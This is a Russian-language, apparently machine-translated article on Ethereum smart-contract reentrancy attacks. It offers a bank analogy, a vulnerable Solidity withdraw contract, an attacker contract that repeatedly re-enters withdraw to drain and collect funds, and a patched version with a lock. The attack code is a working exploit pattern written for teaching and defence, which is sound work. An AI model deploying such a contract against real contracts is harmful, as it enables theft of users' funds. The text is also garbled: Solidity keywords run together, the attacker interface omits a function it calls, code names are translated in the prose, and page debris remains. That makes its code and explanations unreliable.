Вот как происходит один из самых распространенных взломов смарт-контрактов, который стоил компаниям Web 3 миллионы...

Некоторые из крупнейших взломов в индустрии блокчейнов, когда были украдены токены криптовалюты на миллионы долларов, произошли в результате повторных атак. Хотя в последние годы такие взломы стали менее распространенными, они по-прежнему представляют серьезную угрозу для приложений и пользователей блокчейна.

Так что же такое реентерабельные атаки? Как они развернуты? И есть ли какие-либо меры, которые разработчики могут предпринять, чтобы предотвратить их появление?

Что такое реентерабельная атака?

Реентерабельная атака возникает, когда уязвимая функция смарт-контракта делает внешний вызов вредоносному контракту, временно отказываясь от контроля над потоком транзакций. Затем вредоносный контракт неоднократно вызывает исходную функцию смарт-контракта, прежде чем он завершит выполнение, истощая свои средства.

По сути, транзакция вывода средств в блокчейне Ethereum следует трехэтапному циклу: подтверждение баланса, перевод и обновление баланса. Если киберпреступник может захватить цикл до обновления баланса, он может многократно снимать средства, пока кошелек не будет опустошен.

instagram viewer

Кредит изображения: Этерскан

Один из самых печально известных взломов блокчейна — взлом Ethereum DAO. Коиндеск, была реентерабельной атакой, которая привела к потере эфира на сумму более 60 миллионов долларов и коренным образом изменила курс второй по величине криптовалюты.

Как работает повторная атака?

Представьте себе банк в вашем родном городе, где добродетельные местные жители хранят свои деньги; его общая ликвидность составляет 1 миллион долларов. Однако в банке несовершенная система бухгалтерского учета — сотрудники ждут до вечера, чтобы обновить банковские балансы.

Ваш друг-инвестор посещает город и обнаруживает ошибку в бухгалтерском учете. Он создает счет и вносит 100 000 долларов. Через день он снимает 100 000 долларов. Через час он делает еще одну попытку снять 100 000 долларов. Поскольку банк не обновил его баланс, он по-прежнему составляет 100 000 долларов. Так он получает деньги. Он делает это неоднократно, пока не останется денег. Сотрудники понимают, что денег нет, только когда подводят итоги вечером.

В контексте смарт-контракта процесс выглядит следующим образом:

  1. Киберпреступник идентифицирует смарт-контракт «X» с уязвимостью.
  2. Злоумышленник инициирует законную транзакцию с целевым контрактом X, чтобы отправить средства на вредоносный контракт Y. Во время выполнения Y вызывает уязвимую функцию в X.
  3. Выполнение контракта X приостанавливается или задерживается, поскольку контракт ожидает взаимодействия с внешним событием.
  4. Пока выполнение приостановлено, злоумышленник неоднократно вызывает одну и ту же уязвимую функцию в X, снова запуская ее выполнение столько раз, сколько возможно.
  5. При каждом повторном входе состоянием контракта манипулируют, позволяя злоумышленнику переводить средства из X в Y.
  6. Как только средства исчерпаны, повторный вход прекращается, отложенное выполнение X, наконец, завершается, и состояние контракта обновляется на основе последнего повторного входа.

Как правило, злоумышленник успешно использует уязвимость повторного входа в свою пользу, похищая средства из контракта.

Пример повторной атаки

Так как же технически может произойти повторная атака при развертывании? Вот гипотетический смарт-контракт с реентерабельным шлюзом. Мы будем использовать аксиоматические имена, чтобы было легче следовать.

// Vulnerable contract with a reentrancy vulnerability

pragmasolidity ^0.8.0;

contract VulnerableContract {
mapping(address => uint256) private balances;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}

Уязвимый контракт позволяет пользователям вносить eth в контракт, используя депозит функция. Затем пользователи могут вывести свои депонированные эфиры, используя отзывать функция. Однако существует уязвимость повторного входа в отзывать функция. Когда пользователь снимает средства, контракт переводит запрошенную сумму на адрес пользователя перед обновлением баланса, создавая возможность для злоумышленника.

А вот как будет выглядеть смарт-контракт злоумышленника.

// Attacker's contract to exploit the reentrancy vulnerability

pragmasolidity ^0.8.0;

interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}

contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;

constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}

// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();

// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}

// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}

// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}

При запуске атаки:

  1. АтакующийКонтракт принимает адрес г. Уязвимый контракт в своем конструкторе и сохраняет его в уязвимый контракт переменная.
  2. атака функция вызывается злоумышленником, внося некоторое количество eth в Уязвимый контракт используя депозит функцию, а затем сразу вызов отзывать функция Уязвимый контракт.
  3. отзывать функция в Уязвимый контракт передает запрошенное количество eth атакующему АтакующийКонтракт перед обновлением баланса, но так как во время внешнего вызова контракт злоумышленника приостановлен, функция еще не завершена.
  4. получать функция в АтакующийКонтракт срабатывает, потому что Уязвимый контракт отправил eth на этот контракт во время внешнего вызова.
  5. Функция приема проверяет, АтакующийКонтракт баланс составляет не менее 1 эфира (сумма для вывода), то он повторно входит в Уязвимый контракт позвонив отзывать снова функционировать.
  6. Шаги с третьего по пятый повторяются до тех пор, пока Уязвимый контракт заканчиваются средства, а в контракте злоумышленника накапливается значительное количество eth.
  7. Наконец, злоумышленник может вызвать вывестиStolenFunds функция в АтакующийКонтракт украсть все средства, накопленные в их контракте.

Атака может произойти очень быстро, в зависимости от производительности сети. При использовании сложных смарт-контрактов, таких как взлом DAO, который привел к хард-форку Ethereum в Эфириум и Эфириум Классик, приступ происходит в течение нескольких часов.

Как предотвратить повторную атаку

Чтобы предотвратить повторную атаку, нам необходимо изменить уязвимый смарт-контракт, чтобы следовать рекомендациям по безопасной разработке смарт-контрактов. В этом случае мы должны реализовать паттерн «проверки-эффекты-взаимодействия», как в коде ниже.

// Secure contract with the "checks-effects-interactions" pattern

pragmasolidity ^0.8.0;

contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");

// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;

// Perform the state change
balances[msg.sender] -= amount;

// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");

// Unlock the sender's account
isLocked[msg.sender] = false;
}
}

В этой фиксированной версии мы ввели isLocked сопоставление, чтобы отслеживать, находится ли конкретный счет в процессе вывода средств. Когда пользователь инициирует снятие средств, контракт проверяет, заблокирована ли его учетная запись (!isLocked[msg.sender]), что указывает на то, что в настоящее время не производится никаких других операций по снятию средств с той же учетной записи.

Если учетная запись не заблокирована, контракт продолжается с изменением состояния и внешним взаимодействием. После изменения состояния и внешнего взаимодействия учетная запись снова разблокируется, что позволяет снимать средства в будущем.

Типы реентерабельных атак

Кредит изображения: Иван Радич/Flickr

Как правило, существует три основных типа атак с повторным входом в зависимости от характера их эксплуатации.

  1. Одиночная реентерабельная атака: В этом случае уязвимая функция, которую злоумышленник неоднократно вызывает, — это та же самая функция, которая восприимчива к шлюзу повторного входа. Приведенная выше атака является примером атаки с одним повторным входом, которую можно легко предотвратить, внедрив в код надлежащие проверки и блокировки.
  2. Кросс-функциональная атака: В этом сценарии злоумышленник использует уязвимую функцию для вызова другой функции в рамках того же контракта, который находится в том же состоянии, что и уязвимая функция. Вторая функция, вызываемая злоумышленником, имеет желаемый эффект, что делает ее более привлекательной для эксплуатации. Эта атака является более сложной и трудной для обнаружения, поэтому для ее смягчения необходимы строгие проверки и блокировки взаимосвязанных функций.
  3. Кросс-контрактная атака: Эта атака происходит, когда внешний контракт взаимодействует с уязвимым контрактом. Во время этого взаимодействия состояние уязвимого контракта вызывается во внешнем контракте до его полного обновления. Обычно это происходит, когда несколько контрактов используют одну и ту же переменную, а некоторые из них небезопасно обновляют общую переменную. Защищенные протоколы связи между контрактами и периодическими аудит смарт-контрактов должны быть реализованы для смягчения этой атаки.

Атаки с повторным входом могут проявляться в разных формах, поэтому для предотвращения каждой из них требуются определенные меры.

Защита от повторных атак

Повторные атаки привели к значительным финансовым потерям и подорвали доверие к блокчейн-приложениям. Чтобы защитить контракты, разработчики должны старательно применять лучшие практики, чтобы избежать уязвимостей повторного входа.

Они также должны внедрить безопасные модели вывода средств, использовать надежные библиотеки и проводить тщательные проверки, чтобы еще больше укрепить защиту смарт-контракта. Конечно, информирование о возникающих угрозах и активное участие в мерах безопасности также могут гарантировать целостность экосистемы блокчейна.